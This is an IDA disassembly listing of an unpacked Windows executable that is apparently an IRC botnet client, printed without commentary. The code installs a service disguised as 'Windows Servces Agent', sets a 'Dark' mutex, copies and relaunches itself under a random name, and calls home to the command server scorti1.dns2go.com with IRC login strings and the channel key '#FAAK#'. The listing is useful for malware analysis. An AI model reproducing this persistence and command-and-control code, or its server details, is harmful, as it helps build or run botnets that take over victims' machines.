;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	A6DBED25EB5FC3D8312F486D6A7B1FEC

; File Name   :	u:\work\a6dbed25eb5fc3d8312f486d6a7b1fec_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DD000 ( 905216.)
; Section size in file		: 000DD000 ( 905216.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
___		segment	para public 'DATA' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_418359+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindowsServces ; "Windows Servces Agent"

loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CAF28
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CAF98
		jmp	short loc_401057
; ---------------------------------------------------------------------------

loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CAED8

loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CAF50
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh

loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx

loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:00416643p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41B4D5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA

loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41B202
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B11A
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------

loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------

loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41B0B1
		push	edi
		call	sub_41B05B
		add	esp, 10h
		mov	eax, ebx

loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43DEBC
		call	dword_4CB00C
		call	sub_40B2BF
		call	dword_4CAECC
		call	dword_4CAECC
		mov	ebx, dword_427078
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_43D128
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	near ptr 2690000h
		nop
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2680000h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	near ptr 2670C39h
		nop
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427068
		call	esi
		push	[ebp+var_C]
		call	esi

loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43D120
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx

loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418684
		pop	ecx
		mov	dword_4CACB0, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270A8
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CACB4, eax
		call	esi
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_409B12
		push	2
		call	dword_4CB020
		push	7530h
		push	offset aDark	; "Dark"
		push	ebx
		push	ebx
		call	near ptr 26A079Ah
		nop
		push	eax
		nop
		call	near ptr 26A0732h
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		call	near ptr 77E75CB5h
		nop

loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CAEE4
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 2690000h
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		call	near ptr 26A059Eh
		nop
		push	eax
		nop
		call	near ptr 2680000h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41B9D1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_4293C4
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41B900
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429108
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C

loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379

loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_4293BC
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 26A04DCh
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 26A0381h

loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427090
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax

loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		nop
		call	near ptr 2690CE2h
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C

loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 2690579h
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------

loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_418293
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		nop
		call	near ptr 26A0381h
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset dword_43D128
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 2690CB0h
		push	eax
		push	esi
		push	100000h
		call	near ptr 26907E6h
		nop
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_4293B0
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2670C39h
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		nop
		call	near ptr 2690579h
		push	dword ptr [ebp-20h]
		mov	esi, dword_427068
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CAECC
		push	ebx
		nop
		call	near ptr 77E75CB5h

loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DB294, 2
		jle	short loc_401562
		mov	eax, dword_4DB298
		push	dword ptr [eax+4]
		call	sub_41B779
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 26A0732h
		push	esi
		nop
		call	near ptr 26708E6h
		mov	eax, dword_4DB298
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		call	near ptr 2690579h
		nop
		mov	eax, dword_4DB298
		push	dword ptr [eax+8]
		call	near ptr 269074Ch
		nop

loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CB044, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx

loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_429394
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B0F6
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	0B80h
		push	ebx
		push	offset dword_43D130
		call	sub_41B590
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_429370
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_42707C
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset dword_419A00
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[esi], eax
		jnz	short loc_401622
		nop
		call	near ptr 2690CE2h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429330
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	2
		call	sub_40B33E
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429304
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[esi], eax
		jnz	short loc_40169A
		call	near ptr 2690CE2h
		nop
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4292D0
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41B8E2
		push	7Fh
		and	eax, 3
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CACBC
		mov	dword_4CAE28, eax
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CAD3C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CAE0C, eax
		call	sub_41B5F0
		push	3Fh
		mov	esi, offset dword_4CAD7C
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword_4CAE10, ebx

loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx

loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CACB8
		mov	dword_4CAE24, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CAE24, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]

loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		call	near ptr 2690579h
		nop
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CACBC
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CAE0C, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------

loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E4, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4CACBC
		call	sub_41B5F0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CAE0C, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------

loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B2BF

loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CAECC

loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+662Ao

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1

loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CAF74
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40AAF9
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40B08D
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43DEC8
		push	edi
		push	eax
		call	sub_41B5F0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CAFF4
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43DEBC[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CB00C
		call	sub_40AB22
		push	7D0h

loc_4018CD:				; CODE XREF: sub_4017ED+146j
		nop
		call	near ptr 2690579h
		jmp	loc_401812
; ---------------------------------------------------------------------------

loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_4293CC
		call	sub_415220
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CB00C
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------

loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------

loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------

loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	2
		pop	eax

loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx

loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CAE20, bl
		jz	short loc_40199A
		push	offset byte_4CAE20
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409A2C
		add	esp, 0Ch

loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CB00C
		push	1388h
		nop
		call	near ptr 2690579h

loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax

loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF8C
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_417F7F
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]

loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi

loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		call	near ptr 2690579h
		nop
		jmp	short loc_401A58
; ---------------------------------------------------------------------------

loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------

loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------

loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2

loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_5D88	= byte ptr -5D88h
var_5988	= byte ptr -5988h
var_5588	= byte ptr -5588h
var_53F8	= byte ptr -53F8h
var_51F8	= byte ptr -51F8h
var_50F4	= byte ptr -50F4h
var_4FF4	= byte ptr -4FF4h
var_4EF0	= byte ptr -4EF0h
var_4DF0	= byte ptr -4DF0h
var_4CF0	= byte ptr -4CF0h
var_4BF0	= byte ptr -4BF0h
var_4AF0	= byte ptr -4AF0h
var_48F0	= byte ptr -48F0h
var_47EC	= byte ptr -47ECh
var_46EC	= byte ptr -46ECh
var_45EC	= byte ptr -45ECh
var_4588	= byte ptr -4588h
var_4488	= byte ptr -4488h
var_4288	= byte ptr -4288h
var_4188	= byte ptr -4188h
var_4088	= byte ptr -4088h
var_3F88	= dword	ptr -3F88h
var_3F84	= byte ptr -3F84h
var_3F04	= byte ptr -3F04h
var_3E00	= byte ptr -3E00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= dword	ptr -3CE8h
var_3CE4	= byte ptr -3CE4h
var_3C64	= byte ptr -3C64h
var_3BE4	= byte ptr -3BE4h
var_3B64	= byte ptr -3B64h
var_3AE4	= byte ptr -3AE4h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= byte ptr -3A54h
var_37CD	= byte ptr -37CDh
var_37CC	= byte ptr -37CCh
var_36C8	= dword	ptr -36C8h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36AC	= dword	ptr -36ACh
var_36A8	= dword	ptr -36A8h
var_36A4	= byte ptr -36A4h
var_3624	= byte ptr -3624h
var_35A4	= byte ptr -35A4h
var_3524	= byte ptr -3524h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= byte ptr -3410h
var_3390	= byte ptr -3390h
var_3310	= byte ptr -3310h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= byte ptr -327Ch
var_31FC	= byte ptr -31FCh
var_317C	= byte ptr -317Ch
var_30FC	= byte ptr -30FCh
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= byte ptr -3068h
var_2FE8	= byte ptr -2FE8h
var_2F68	= byte ptr -2F68h
var_2EE8	= byte ptr -2EE8h
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
var_2E58	= byte ptr -2E58h
var_2D54	= dword	ptr -2D54h
var_2D50	= byte ptr -2D50h
var_2C4C	= byte ptr -2C4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
var_2B3C	= byte ptr -2B3Ch
var_2ABC	= dword	ptr -2ABCh
